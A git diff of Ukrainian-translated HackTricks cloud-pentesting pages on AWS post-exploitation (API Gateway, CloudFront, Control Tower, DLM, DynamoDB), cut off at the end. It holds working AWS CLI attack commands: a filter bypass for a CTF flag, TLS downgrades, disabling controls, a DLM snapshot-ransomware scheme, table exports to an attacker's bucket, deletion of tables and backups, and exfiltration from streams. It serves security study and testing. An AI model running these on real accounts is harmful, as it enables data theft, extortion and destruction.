writeup**](https://blog-tyage-net.translate.goog/post/2023/2023-09-03-midnightsun/?_x_tr_sl=en&_x_tr_tl=es&_x_tr_hl=en&_x_tr_pto=wapp). + +Як вказано в [**AWS documentation**](https://docs.aws.amazon.com/AWSCloudFormation/latest/UserGuide/aws-properties-apigateway-method-integration.html) у секції `PassthroughBehavior`, за замовчуванням значення **`WHEN_NO_MATCH`**, при перевірці заголовка **Content-Type** запиту, передає запит на back end без трансформації. + +Тому, у CTF API Gateway мав integration template, який **перешкоджував ексфільтрації flag** в відповіді, коли запит надсилався з `Content-Type: application/json`: +```yaml +RequestTemplates: +application/json: '{"TableName":"Movies","IndexName":"MovieName-Index","KeyConditionExpression":"moviename=:moviename","FilterExpression": "not contains(#description, :flagstring)","ExpressionAttributeNames": {"#description": "description"},"ExpressionAttributeValues":{":moviename":{"S":"$util.escapeJavaScript($input.params(''moviename''))"},":flagstring":{"S":"midnight"}}}' +``` +Однак відправлення запиту з **`Content-type: text/json`** дозволяло обійти цей фільтр. + +Нарешті, оскільки API Gateway дозволяв тільки `Get` та `Options`, було можливо відправити довільний запит до dynamoDB без жодних обмежень, надіславши POST-запит із запитом у тілі та використавши заголовок `X-HTTP-Method-Override: GET`: +```bash +curl https://vu5bqggmfc.execute-api.eu-north-1.amazonaws.com/prod/movies/hackers -H 'X-HTTP-Method-Override: GET' -H 'Content-Type: text/json' --data '{"TableName":"Movies","IndexName":"MovieName-Index","KeyConditionExpression":"moviename = :moviename","ExpressionAttributeValues":{":moviename":{"S":"hackers"}}}' +``` +### Usage Plans DoS + +У розділі **Enumeration** можна побачити, як **отримати usage plan** ключів. Якщо у вас є ключ і він **обмежений** до X використань **на місяць**, ви можете **просто використовувати його й спричинити DoS**. + +The **API Key** just need to be **included** inside a **HTTP header** called **`x-api-key`**. + +### `apigateway:UpdateGatewayResponse`, `apigateway:CreateDeployment` + +Атакувач з дозволами `apigateway:UpdateGatewayResponse` і `apigateway:CreateDeployment` може **змінити існуючий Gateway Response, щоб додати custom headers або response templates, які leak чутливу інформацію або виконують шкідливі scripts**. +```bash +API_ID="your-api-id" +RESPONSE_TYPE="DEFAULT_4XX" + +# Update the Gateway Response +aws apigateway update-gateway-response --rest-api-id $API_ID --response-type $RESPONSE_TYPE --patch-operations op=replace,path=/responseTemplates/application~1json,value="{\"message\":\"$context.error.message\", \"malicious_header\":\"malicious_value\"}" + +# Create a deployment for the updated API Gateway REST API +aws apigateway create-deployment --rest-api-id $API_ID --stage-name Prod +``` +**Potential Impact**: Витік конфіденційної інформації, виконання шкідливих скриптів або несанкціонований доступ до ресурсів API. + +> [!NOTE] +> Потребує тестування + +### `apigateway:UpdateStage`, `apigateway:CreateDeployment` + +An attacker з дозволами `apigateway:UpdateStage` and `apigateway:CreateDeployment` може **змінити існуючий API Gateway стадію, щоб перенаправити трафік на іншу стадію, або змінити налаштування кешування, щоб отримати несанкціонований доступ до кешованих даних**. +```bash +API_ID="your-api-id" +STAGE_NAME="Prod" + +# Update the API Gateway stage +aws apigateway update-stage --rest-api-id $API_ID --stage-name $STAGE_NAME --patch-operations op=replace,path=/cacheClusterEnabled,value=true,op=replace,path=/cacheClusterSize,value="0.5" + +# Create a deployment for the updated API Gateway REST API +aws apigateway create-deployment --rest-api-id $API_ID --stage-name Prod +``` +**Потенційний вплив**: Несанкціонований доступ до кешованих даних, порушення або перехоплення API-трафіку. + +> [!NOTE] +> Потребує тестування + +### `apigateway:PutMethodResponse`, `apigateway:CreateDeployment` + +Зловмисник із дозволами `apigateway:PutMethodResponse` та `apigateway:CreateDeployment` може **змінити відповідь методу існуючого API Gateway REST API, щоб додати власні заголовки або шаблони відповіді, які leak конфіденційну інформацію або виконують шкідливі скрипти**. +```bash +API_ID="your-api-id" +RESOURCE_ID="your-resource-id" +HTTP_METHOD="GET" +STATUS_CODE="200" + +# Update the method response +aws apigateway put-method-response --rest-api-id $API_ID --resource-id $RESOURCE_ID --http-method $HTTP_METHOD --status-code $STATUS_CODE --response-parameters "method.response.header.malicious_header=true" + +# Create a deployment for the updated API Gateway REST API +aws apigateway create-deployment --rest-api-id $API_ID --stage-name Prod +``` +**Можливий вплив**: Leakage конфіденційної інформації, виконання шкідливих скриптів або несанкціонований доступ до ресурсів API. + +> [!NOTE] +> Потрібне тестування + +### `apigateway:UpdateRestApi`, `apigateway:CreateDeployment` + +Зловмисник із дозволами `apigateway:UpdateRestApi` та `apigateway:CreateDeployment` може **змінити налаштування API Gateway REST API, щоб вимкнути логування або змінити мінімальну версію TLS, що може послабити безпеку API**. +```bash +API_ID="your-api-id" + +# Update the REST API settings +aws apigateway update-rest-api --rest-api-id $API_ID --patch-operations op=replace,path=/minimumTlsVersion,value='TLS_1.0',op=replace,path=/apiKeySource,value='AUTHORIZER' + +# Create a deployment for the updated API Gateway REST API +aws apigateway create-deployment --rest-api-id $API_ID --stage-name Prod +``` +**Потенційний вплив**: Ослаблення безпеки API, що може дозволити несанкціонований доступ або розкриття конфіденційної інформації. + +> [!NOTE] +> Потрібне тестування + +### `apigateway:CreateApiKey`, `apigateway:UpdateApiKey`, `apigateway:CreateUsagePlan`, `apigateway:CreateUsagePlanKey` + +Зловмисник з дозволами `apigateway:CreateApiKey`, `apigateway:UpdateApiKey`, `apigateway:CreateUsagePlan`, та `apigateway:CreateUsagePlanKey` може **створювати нові API keys, пов'язувати їх з usage plans, а потім використовувати ці ключі для несанкціонованого доступу до APIs**. +```bash +# Create a new API key +API_KEY=$(aws apigateway create-api-key --enabled --output text --query 'id') + +# Create a new usage plan +USAGE_PLAN=$(aws apigateway create-usage-plan --name "MaliciousUsagePlan" --output text --query 'id') + +# Associate the API key with the usage plan +aws apigateway create-usage-plan-key --usage-plan-id $USAGE_PLAN --key-id $API_KEY --key-type API_KEY +``` +**Potential Impact**: Несанкціонований доступ до ресурсів API, обхід механізмів безпеки. + +> [!NOTE] +> Потребує тестування + +{{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-cloudfront-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-cloudfront-post-exploitation.md deleted file mode 100644 index 3bf2bd1ce..000000000 --- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-cloudfront-post-exploitation.md +++ /dev/null @@ -1,31 +0,0 @@ -# AWS - CloudFront Post Exploitation - -{{#include ../../../banners/hacktricks-training.md}} - -## CloudFront - -Для отримання додаткової інформації перегляньте: - -{{#ref}} -../aws-services/aws-cloudfront-enum.md -{{#endref}} - -### Man-in-the-Middle - -Цей [**блог пост**](https://medium.com/@adan.alvarez/how-attackers-can-misuse-aws-cloudfront-access-to-make-it-rain-cookies-acf9ce87541c) пропонує кілька різних сценаріїв, де **Lambda** може бути додана (або змінена, якщо вже використовується) у **зв'язку через CloudFront** з метою **викрадення** інформації користувача (такої як **cookie** сесії) та **модифікації** **відповіді** (впровадження шкідливого JS скрипта). - -#### сценарій 1: MitM, де CloudFront налаштовано для доступу до деякого HTML з бакету - -- **Створіть** шкідливу **функцію**. -- **Ассоціюйте** її з розподілом CloudFront. -- Встановіть **тип події на "Viewer Response"**. - -Отримуючи відповідь, ви можете вкрасти cookie користувачів і впровадити шкідливий JS. - -#### сценарій 2: MitM, де CloudFront вже використовує функцію lambda - -- **Змініть код** функції lambda, щоб вкрасти чутливу інформацію - -Ви можете перевірити [**tf код для відтворення цих сценаріїв тут**](https://github.com/adanalvarez/AWS-Attack-Scenarios/tree/main). - -{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-cloudfront-post-exploitation/README.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-cloudfront-post-exploitation/README.md new file mode 100644 index 000000000..adc5c640c --- /dev/null +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-cloudfront-post-exploitation/README.md @@ -0,0 +1,31 @@ +# AWS - CloudFront Post Exploitation + +{{#include ../../../../banners/hacktricks-training.md}} + +## CloudFront + +Для отримання додаткової інформації див.: + +{{#ref}} +../../aws-services/aws-cloudfront-enum.md +{{#endref}} + +### Man-in-the-Middle + +Ця [**стаття в блозі**](https://medium.com/@adan.alvarez/how-attackers-can-misuse-aws-cloudfront-access-to-make-it-rain-cookies-acf9ce87541c) пропонує кілька різних сценаріїв, у яких **Lambda** може бути додано (або змінено, якщо він уже використовується) в комунікацію через **CloudFront** з метою **викрадення** інформації користувачів (наприклад, сесійного **cookie**) та **зміни** **response** (інжекція шкідливого JS скрипта). + +#### scenario 1: MitM where CloudFront is configured to access some HTML of a bucket + +- **Create** the malicious **function**. +- **Associate** її з CloudFront distribution. +- Встановіть **event type to "Viewer Response"**. + +Отримавши доступ до response, можна викрасти cookie користувачів та інжектувати шкідливий JS. + +#### scenario 2: MitM where CloudFront is already using a lambda function + +- **Modify the code** of the lambda function, щоб викрасти чутливу інформацію + +You can check the [**tf code to recreate this scenarios here**](https://github.com/adanalvarez/AWS-Attack-Scenarios/tree/main). + +{{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-control-tower-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-control-tower-post-exploitation.md deleted file mode 100644 index d0ece170c..000000000 --- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-control-tower-post-exploitation.md +++ /dev/null @@ -1,18 +0,0 @@ -# AWS - Control Tower Post Exploitation - -{{#include ../../../banners/hacktricks-training.md}} - -## Control Tower - -{{#ref}} -../aws-services/aws-security-and-detection-services/aws-control-tower-enum.md -{{#endref}} - -### Увімкнення / Вимкнення контролів - -Щоб далі експлуатувати обліковий запис, вам може знадобитися вимкнути/увімкнути контролі Control Tower: -```bash -aws controltower disable-control --control-identifier --target-identifier -aws controltower enable-control --control-identifier --target-identifier -``` -{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-control-tower-post-exploitation/README.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-control-tower-post-exploitation/README.md new file mode 100644 index 000000000..88e4bc6ec --- /dev/null +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-control-tower-post-exploitation/README.md @@ -0,0 +1,18 @@ +# AWS - Control Tower Post Exploitation + +{{#include ../../../../banners/hacktricks-training.md}} + +## Control Tower + +{{#ref}} +../../aws-services/aws-security-and-detection-services/aws-control-tower-enum.md +{{#endref}} + +### Увімкнення / вимкнення контролів + +Для подальшого exploit облікового запису може знадобитися вимкнути або увімкнути контролі Control Tower: +```bash +aws controltower disable-control --control-identifier --target-identifier +aws controltower enable-control --control-identifier --target-identifier +``` +{{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-dlm-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-dlm-post-exploitation.md deleted file mode 100644 index 95bca86a8..000000000 --- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-dlm-post-exploitation.md +++ /dev/null @@ -1,91 +0,0 @@ -# AWS - DLM Post Exploitation - -{{#include ../../../banners/hacktricks-training.md}} - -## Data Lifecycle Manger (DLM) - -### `EC2:DescribeVolumes`, `DLM:CreateLifeCyclePolicy` - -Атака програм-вимагачів може бути виконана шляхом шифрування якомога більшої кількості EBS томів, а потім видалення поточних EC2 екземплярів, EBS томів та знімків. Щоб автоматизувати цю злочинну діяльність, можна використовувати Amazon DLM, шифруючи знімки за допомогою KMS ключа з іншого AWS облікового запису та передаючи зашифровані знімки до іншого облікового запису. Альтернативно, вони можуть передавати знімки без шифрування до облікового запису, яким вони керують, а потім шифрувати їх там. Хоча не просто зашифрувати існуючі EBS томи або знімки безпосередньо, це можливо зробити, створивши новий том або знімок. - -По-перше, потрібно буде використати команду для збору інформації про томи, такі як ID екземпляра, ID тому, статус шифрування, статус підключення та тип тому. - -`aws ec2 describe-volumes` - -По-друге, потрібно буде створити політику життєвого циклу. Ця команда використовує DLM API для налаштування політики життєвого циклу, яка автоматично робить щоденні знімки вказаних томів у визначений час. Вона також застосовує певні теги до знімків і копіює теги з томів до знімків. Файл policyDetails.json містить специфікації політики життєвого циклу, такі як цільові теги, розклад, ARN необов'язкового KMS ключа для шифрування та цільовий обліковий запис для спільного використання знімків, що буде зафіксовано в журналах CloudTrail жертви. -```bash -aws dlm create-lifecycle-policy --description "My first policy" --state ENABLED --execution-role-arn arn:aws:iam::12345678910:role/AWSDataLifecycleManagerDefaultRole --policy-details file://policyDetails.json -``` -Шаблон для документу політики можна побачити тут: -```bash -{ -"PolicyType": "EBS_SNAPSHOT_MANAGEMENT", -"ResourceTypes": [ -"VOLUME" -], -"TargetTags": [ -{ -"Key": "ExampleKey", -"Value": "ExampleValue" -} -], -"Schedules": [ -{ -"Name": "DailySnapshots", -"CopyTags": true, -"TagsToAdd": [ -{ -"Key": "SnapshotCreator", -"Value": "DLM" -} -], -"VariableTags": [ -{ -"Key": "CostCenter", -"Value": "Finance" -} -], -"CreateRule": { -"Interval": 24, -"IntervalUnit": "HOURS", -"Times": [ -"03:00" -] -}, -"RetainRule": { -"Count": 14 -}, -"FastRestoreRule": { -"Count": 2, -"Interval": 12, -"IntervalUnit": "HOURS" -}, -"CrossRegionCopyRules": [ -{ -"TargetRegion": "us-west-2", -"Encrypted": true, -"CmkArn": "arn:aws:kms:us-west-2:123456789012:key/your-kms-key-id", -"CopyTags": true, -"RetainRule": { -"Interval": 1, -"IntervalUnit": "DAYS" -} -} -], -"ShareRules": [ -{ -"TargetAccounts": [ -"123456789012" -], -"UnshareInterval": 30, -"UnshareIntervalUnit": "DAYS" -} -] -} -], -"Parameters": { -"ExcludeBootVolume": false -} -} -``` -{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-dlm-post-exploitation/README.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-dlm-post-exploitation/README.md new file mode 100644 index 000000000..c270f99d2 --- /dev/null +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-dlm-post-exploitation/README.md @@ -0,0 +1,91 @@ +# AWS - DLM Post Exploitation + +{{#include ../../../../banners/hacktricks-training.md}} + +## Data Lifecycle Manger (DLM) + +### `EC2:DescribeVolumes`, `DLM:CreateLifeCyclePolicy` + +Ransomware-атаку можна реалізувати, зашифрувавши якомога більше EBS volumes, а потім видаливши поточні EC2 instances, EBS volumes та snapshots. Щоб автоматизувати таку шкідливу діяльність, можна використати Amazon DLM — шифрувати snapshots за допомогою KMS key з іншого AWS account і переносити зашифровані snapshots до іншого акаунта. Альтернативно, можна перенести snapshots без шифрування до акаунта, яким вони керують, а потім зашифрувати їх там. Хоча безпосередньо зашифрувати існуючі EBS volumes або snapshots не так просто, це можна зробити, створивши новий volume або snapshot. + +По-перше, використовують команду для збору інформації про volumes, таких як instance ID, volume ID, encryption status, attachment status та volume type. + +`aws ec2 describe-volumes` + +По-друге, створюється lifecycle policy. Ця команда використовує DLM API для налаштування lifecycle policy, яка автоматично робитиме daily snapshots зазначених volumes у визначений час. Вона також застосовує певні теги до snapshots та копіює теги з volumes на snapshots. Файл policyDetails.json містить деталі lifecycle policy, такі як target tags, schedule, ARN опційного KMS key для шифрування та target account для snapshot sharing, що буде зафіксовано у жертви в CloudTrail logs. +```bash +aws dlm create-lifecycle-policy --description "My first policy" --state ENABLED --execution-role-arn arn:aws:iam::12345678910:role/AWSDataLifecycleManagerDefaultRole --policy-details file://policyDetails.json +``` +Шаблон документа політики можна переглянути тут: +```bash +{ +"PolicyType": "EBS_SNAPSHOT_MANAGEMENT", +"ResourceTypes": [ +"VOLUME" +], +"TargetTags": [ +{ +"Key": "ExampleKey", +"Value": "ExampleValue" +} +], +"Schedules": [ +{ +"Name": "DailySnapshots", +"CopyTags": true, +"TagsToAdd": [ +{ +"Key": "SnapshotCreator", +"Value": "DLM" +} +], +"VariableTags": [ +{ +"Key": "CostCenter", +"Value": "Finance" +} +], +"CreateRule": { +"Interval": 24, +"IntervalUnit": "HOURS", +"Times": [ +"03:00" +] +}, +"RetainRule": { +"Count": 14 +}, +"FastRestoreRule": { +"Count": 2, +"Interval": 12, +"IntervalUnit": "HOURS" +}, +"CrossRegionCopyRules": [ +{ +"TargetRegion": "us-west-2", +"Encrypted": true, +"CmkArn": "arn:aws:kms:us-west-2:123456789012:key/your-kms-key-id", +"CopyTags": true, +"RetainRule": { +"Interval": 1, +"IntervalUnit": "DAYS" +} +} +], +"ShareRules": [ +{ +"TargetAccounts": [ +"123456789012" +], +"UnshareInterval": 30, +"UnshareIntervalUnit": "DAYS" +} +] +} +], +"Parameters": { +"ExcludeBootVolume": false +} +} +``` +{{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-dynamodb-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-dynamodb-post-exploitation/README.md similarity index 53% rename from src/pentesting-cloud/aws-security/aws-post-exploitation/aws-dynamodb-post-exploitation.md rename to src/pentesting-cloud/aws-security/aws-post-exploitation/aws-dynamodb-post-exploitation/README.md index d9c8bc5e6..10acb53f6 100644 --- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-dynamodb-post-exploitation.md +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-dynamodb-post-exploitation/README.md @@ -1,18 +1,18 @@ # AWS - DynamoDB Post Exploitation -{{#include ../../../banners/hacktricks-training.md}} +{{#include ../../../../banners/hacktricks-training.md}} ## DynamoDB Для отримання додаткової інформації див.: {{#ref}} -../aws-services/aws-dynamodb-enum.md +../../aws-services/aws-dynamodb-enum.md {{#endref}} ### `dynamodb:BatchGetItem` -Зловмисник з цими дозволами зможе **отримувати записи з таблиць за первинним ключем** (ви не можете просто запросити всі дані таблиці). Це означає, що вам потрібно знати первинні ключі (їх можна отримати, отримавши метадані таблиці (`describe-table`). +Зловмисник з цими дозволами зможе **отримувати елементи з таблиць за первинним ключем** (ви не можете просто запросити всі дані таблиці). Це означає, що вам потрібно знати первинні ключі (їх можна отримати, отримавши метадані таблиці (`describe-table`)). {{#tabs }} {{#tab name="json file" }} @@ -43,11 +43,11 @@ aws dynamodb batch-get-item \ {{#endtab }} {{#endtabs }} -**Можливий вплив:** Непряме privesc шляхом знаходження чутливої інформації в таблиці +**Potential Impact:** Indirect privesc шляхом знаходження конфіденційної інформації в таблиці ### `dynamodb:GetItem` -**Подібно до попередніх дозволів**, цей дозвіл дозволяє потенційному зловмиснику читати значення лише з однієї таблиці, маючи первинний ключ запису, який потрібно отримати: +**Схоже на попередні дозволи** цей дозволяє потенційному атакуючому читати значення лише з однієї таблиці, маючи первинний ключ запису, який потрібно отримати: ```json aws dynamodb get-item --table-name ProductCatalog --key file:///tmp/a.json @@ -75,11 +75,11 @@ aws dynamodb transact-get-items \ } ] ``` -**Potential Impact:** Непряме privesc шляхом знаходження чутливої інформації в таблиці +**Можливий вплив:** Непрямий privesc шляхом знаходження чутливої інформації в таблиці ### `dynamodb:Query` -**Similar to the previous permissions** ця дозволяє потенційному нападнику читати значення лише з однієї таблиці за умови наявності первинного ключа запису, який потрібно отримати. Вона дозволяє використовувати [піднабір порівнянь](https://docs.aws.amazon.com/amazondynamodb/latest/APIReference/API_Condition.html), але єдине порівняння, дозволене для первинного ключа (який має бути вказаний), — "EQ", тому ви не можете використати порівняння, щоб отримати всю DB в одному запиті. +**Схоже на попередні дозволи** цей дозволяє потенційному зловмиснику читати значення лише з 1 таблиці за наявності первинного ключа запису, який потрібно отримати. Дозволяється використовувати [subset of comparisons](https://docs.aws.amazon.com/amazondynamodb/latest/APIReference/API_Condition.html), але єдине порівняння, дозволене для первинного ключа (який має бути вказаний) — "EQ", тому ви не можете використати порівняння, щоб отримати всю базу даних в одному запиті. {{#tabs }} {{#tab name="json file" }} @@ -107,7 +107,7 @@ aws dynamodb query \ {{#endtab }} {{#endtabs }} -**Потенційний вплив:** Косвене privesc шляхом знаходження чутливої інформації у таблиці +**Можливий вплив:** Опосередковане privesc через виявлення конфіденційної інформації в таблиці ### `dynamodb:Scan` @@ -115,11 +115,11 @@ aws dynamodb query \ ```bash aws dynamodb scan --table-name #Get data inside the table ``` -**Потенційний вплив:** Непряме privesc шляхом знаходження чутливої інформації в таблиці +**Potential Impact:** Непряма privesc шляхом виявлення чутливої інформації в таблиці ### `dynamodb:PartiQLSelect` -Ви можете використати цей дозвіл, щоб **легко dump всю таблицю**. +Ви можете використовувати цей дозвіл, щоб **легко dump всю таблицю**. ```bash aws dynamodb execute-statement \ --statement "SELECT * FROM ProductCatalog" @@ -129,13 +129,13 @@ aws dynamodb execute-statement \ aws dynamodb batch-execute-statement \ --statements '[{"Statement": "SELECT * FROM ProductCatalog WHERE Id = 204"}]' ``` -але потрібно вказати primary key зі значенням, тому це не дуже корисно. +але потрібно вказати первинний ключ зі значенням, тому це не дуже корисно. -**Potential Impact:** Непрямий privesc шляхом знаходження чутливої інформації в таблиці +**Potential Impact:** Indirect privesc by locating sensitive information in the table ### `dynamodb:ExportTableToPointInTime|(dynamodb:UpdateContinuousBackups)` -Цей дозвіл дозволяє зловмиснику **експортувати всю таблицю в S3 bucket за своїм вибором:** +Цей дозвіл надає attacker можливість **експортувати всю таблицю в S3 bucket** за своїм вибором: ```bash aws dynamodb export-table-to-point-in-time \ --table-arn arn:aws:dynamodb:::table/TargetTable \ @@ -144,33 +144,33 @@ aws dynamodb export-table-to-point-in-time \ --export-time \ --region ``` -Зверніть увагу, що для цього таблиця має мати увімкнений point-in-time-recovery — ви можете перевірити це за допомогою: +Зверніть увагу, що для цього таблиця має мати point-in-time-recovery увімкненим. Ви можете перевірити наявність цієї опції в таблиці за допомогою: ```bash aws dynamodb describe-continuous-backups \ --table-name ``` -Якщо він не ввімкнений, вам потрібно буде **увімкнути його**, і для цього потрібен дозвіл **`dynamodb:ExportTableToPointInTime`**: +Якщо він не увімкнений, вам потрібно буде **увімкнути його**, а для цього вам потрібен дозвіл **`dynamodb:ExportTableToPointInTime`**: ```bash aws dynamodb update-continuous-backups \ --table-name \ --point-in-time-recovery-specification PointInTimeRecoveryEnabled=true ``` -**Потенційний вплив:** Опосередкований privesc шляхом виявлення конфіденційної інформації в таблиці +**Potential Impact:** Опосередкований privesc шляхом знаходження конфіденційної інформації в таблиці ### `dynamodb:CreateTable`, `dynamodb:RestoreTableFromBackup`, (`dynamodb:CreateBackup)` -Маючи ці дозволи, зловмисник зможе **створити нову таблицю з резервної копії** (або навіть створити резервну копію, щоб потім відновити її в іншій таблиці). Потім, при наявності необхідних дозволів, він зможе переглянути **інформацію** з резервних копій, я**кої більше немає в продукційній** таблиці. +Маючи ці дозволи, атакуючий зможе **створити нову таблицю з резервної копії** (або навіть створити резервну копію, щоб потім відновити її в іншій таблиці). Потім, за наявності необхідних дозволів, він зможе перевірити **інформацію** з резервних копій, яка **більше не міститься в production** таблиці. ```bash aws dynamodb restore-table-from-backup \ --backup-arn \ --target-table-name \ --region ``` -**Можливий вплив:** Опосередкований privesc шляхом знаходження чутливої інформації у резервній копії таблиці +**Потенційний вплив:** Опосередковане privesc шляхом знаходження чутливої інформації у резервній копії таблиці ### `dynamodb:PutItem` -Цей дозвіл дозволяє користувачам додавати **новий елемент до таблиці або заміняти існуючий елемент** на новий. Якщо елемент з тим самим первинним ключем вже існує, **весь елемент буде замінено** на новий. Якщо первинний ключ не існує, буде **створено** новий елемент із вказаним первинним ключем. +Цей дозвіл дозволяє користувачам додавати **новий елемент до таблиці або замінювати існуючий елемент** новим. Якщо елемент з тим самим первинним ключем вже існує, **весь елемент буде замінено** на новий. Якщо первинний ключ не існує, буде **створено** новий елемент з вказаним первинним ключем. {{#tabs }} {{#tab name="XSS Example" }} @@ -202,11 +202,11 @@ aws dynamodb put-item \ {{#endtab }} {{#endtabs }} -**Potential Impact:** Експлуатація подальших vulnerabilities/bypasses через можливість додавати/змінювати дані в таблиці DynamoDB +**Потенційний вплив:** Експлуатація додаткових вразливостей/методів обходу завдяки можливості додавати/змінювати дані в таблиці DynamoDB ### `dynamodb:UpdateItem` -Цей дозвіл дозволяє користувачам **змінювати наявні атрибути елемента або додавати нові атрибути до елемента**. Він **не замінює** весь елемент; оновлюються лише вказані атрибути. Якщо первинний ключ не існує в таблиці, операція **створить новий елемент** з зазначеним первинним ключем і встановить атрибути, вказані у виразі оновлення. +Цей дозвіл дозволяє користувачам **змінювати існуючі атрибути елемента або додавати нові атрибути до елемента**. Ця операція **не замінює** весь елемент; вона лише оновлює вказані атрибути. Якщо первинний ключ не існує в таблиці, операція **створить новий елемент** з вказаним первинним ключем і встановить атрибути, зазначені у виразі оновлення. {{#tabs }} {{#tab name="XSS Example" }} @@ -242,34 +242,34 @@ aws dynamodb update-item \ {{#endtab }} {{#endtabs }} -**Potential Impact:** Експлуатація подальних vulnerabilities/bypasses завдяки можливості додавати/змінювати дані в таблиці DynamoDB +**Потенційний вплив:** Експлуатація додаткових вразливостей/обхідних шляхів через можливість додавати/змінювати дані в таблиці DynamoDB ### `dynamodb:DeleteTable` -Атакуючий з цим дозволом може **видалити таблицю DynamoDB, що призведе до втрати даних** +Атакувальник з цим дозволом може **видалити таблицю DynamoDB, що призведе до втрати даних**. ```bash aws dynamodb delete-table \ --table-name TargetTable \ --region ``` -**Потенційний вплив**: Втрата даних та порушення роботи служб, які залежать від видаленої таблиці. +**Потенційний вплив**: Втрата даних та збої в роботі сервісів, що залежать від видаленої таблиці. ### `dynamodb:DeleteBackup` -Зловмисник з цим дозволом може **delete a DynamoDB backup, потенційно спричиняючи втрату даних у разі сценарію відновлення після аварії**. +An attacker з цим дозволом може **видалити резервну копію DynamoDB, що може спричинити втрату даних у разі сценарію відновлення після аварії**. ```bash aws dynamodb delete-backup \ --backup-arn arn:aws:dynamodb:::table/TargetTable/backup/BACKUP_ID \ --region ``` -**Potential impact**: Втрата даних та неможливість відновлення з резервної копії під час сценарію disaster recovery. +**Потенційний вплив**: Втрата даних та неможливість відновлення з резервної копії під час сценарію відновлення після аварії. ### `dynamodb:StreamSpecification`, `dynamodb:UpdateTable`, `dynamodb:DescribeStream`, `dynamodb:GetShardIterator`, `dynamodb:GetRecords` > [!NOTE] -> TODO: Перевірити, чи це насправді працює +> TODO: Перевірити, чи це справді працює -Зловмисник із такими дозволами може **увімкнути stream на таблиці DynamoDB, оновити таблицю, щоб почати транслювання змін, а потім отримати доступ до stream для відстеження змін таблиці в режимі реального часу**. Це дозволяє зловмиснику моніторити та exfiltrate зміни даних, що потенційно може призвести до data leakage. +Зловмисник із такими дозволами може **увімкнути stream на таблиці DynamoDB, оновити таблицю для початку трансляції змін і потім отримати доступ до stream, щоб у режимі реального часу відстежувати зміни таблиці**. Це дозволяє зловмиснику відстежувати та exfiltrate зміни даних, що потенційно може призвести до data leakage. 1. Увімкнути stream на таблиці DynamoDB: ```bash @@ -278,13 +278,13 @@ aws dynamodb update-table \ --stream-specification StreamEnabled=true,StreamViewType=NEW_AND_OLD_IMAGES \ --region ``` -2. Опишіть потік, щоб отримати ARN та інші деталі: +2. Описати stream, щоб отримати ARN та інші деталі: ```bash aws dynamodb describe-stream \ --table-name TargetTable \ --region ``` -3. Отримайте shard iterator за допомогою stream ARN: +3. Отримайте shard iterator, використовуючи stream ARN: ```bash aws dynamodbstreams get-shard-iterator \ --stream-arn \ @@ -292,22 +292,22 @@ aws dynamodbstreams get-shard-iterator \ --shard-iterator-type LATEST \ --region ``` -4. Використайте shard iterator для доступу й експфільтрації даних зі stream: +4. Використовуйте shard iterator, щоб отримати доступ і exfiltrate дані зі stream: ```bash aws dynamodbstreams get-records \ --shard-iterator \ --region ``` -**Можливий вплив**: Моніторинг змін таблиці DynamoDB у реальному часі та витік даних. +**Potential impact**: Моніторинг у реальному часі та витік даних змін таблиці DynamoDB. -### Читання елементів через `dynamodb:UpdateItem` та `ReturnValues=ALL_OLD` +### Read items via `dynamodb:UpdateItem` and `ReturnValues=ALL_OLD` -Зловмисник, який має лише `dynamodb:UpdateItem` для таблиці, може читати елементи без звичних дозволів на читання (`GetItem`/`Query`/`Scan`), виконавши нешкідливе оновлення і вказавши `--return-values ALL_OLD`. DynamoDB поверне повний попередній образ елемента в полі `Attributes` відповіді (це не споживає RCUs). +An attacker, маючи лише `dynamodb:UpdateItem` на таблиці, може читати елементи без стандартних прав на читання (`GetItem`/`Query`/`Scan`), виконавши безпечне оновлення та вказавши `--return-values ALL_OLD`. DynamoDB поверне повний образ елемента до оновлення в полі `Attributes` відповіді (це не витрачає RCUs). - Мінімальні дозволи: `dynamodb:UpdateItem` на цільовій таблиці/ключі. -- Попередні умови: Ви повинні знати первинний ключ елемента. +- Передумови: Ви повинні знати первинний ключ елемента. -Приклад (додає нешкідливий атрибут і exfiltrates попередній елемент у відповіді): +Example (adds a harmless attribute and exfiltrates the previous item in the response): ```bash aws dynamodb update-item \ --table-name \ @@ -318,14 +318,14 @@ aws dynamodb update-item \ --return-values ALL_OLD \ --region ``` -Відповідь CLI включатиме блок `Attributes`, що містить повний попередній елемент (усі атрибути), фактично забезпечуючи примітив читання при доступі лише на запис. +Відповідь CLI включатиме блок `Attributes`, що містить повний попередній елемент (усі атрибути), фактично забезпечуючи примітив читання при доступі лише для запису. -**Potential Impact:** Читання довільних елементів таблиці, маючи лише права на запис, що дозволяє exfiltration конфіденційних даних, якщо відомі первинні ключі. +**Потенційний вплив:** Читати довільні елементи таблиці, маючи лише права запису, що дозволяє ексфільтрацію конфіденційних даних, коли відомі первинні ключі. ### `dynamodb:UpdateTable (replica-updates)` | `dynamodb:CreateTableReplica` -Stealth exfiltration шляхом додавання 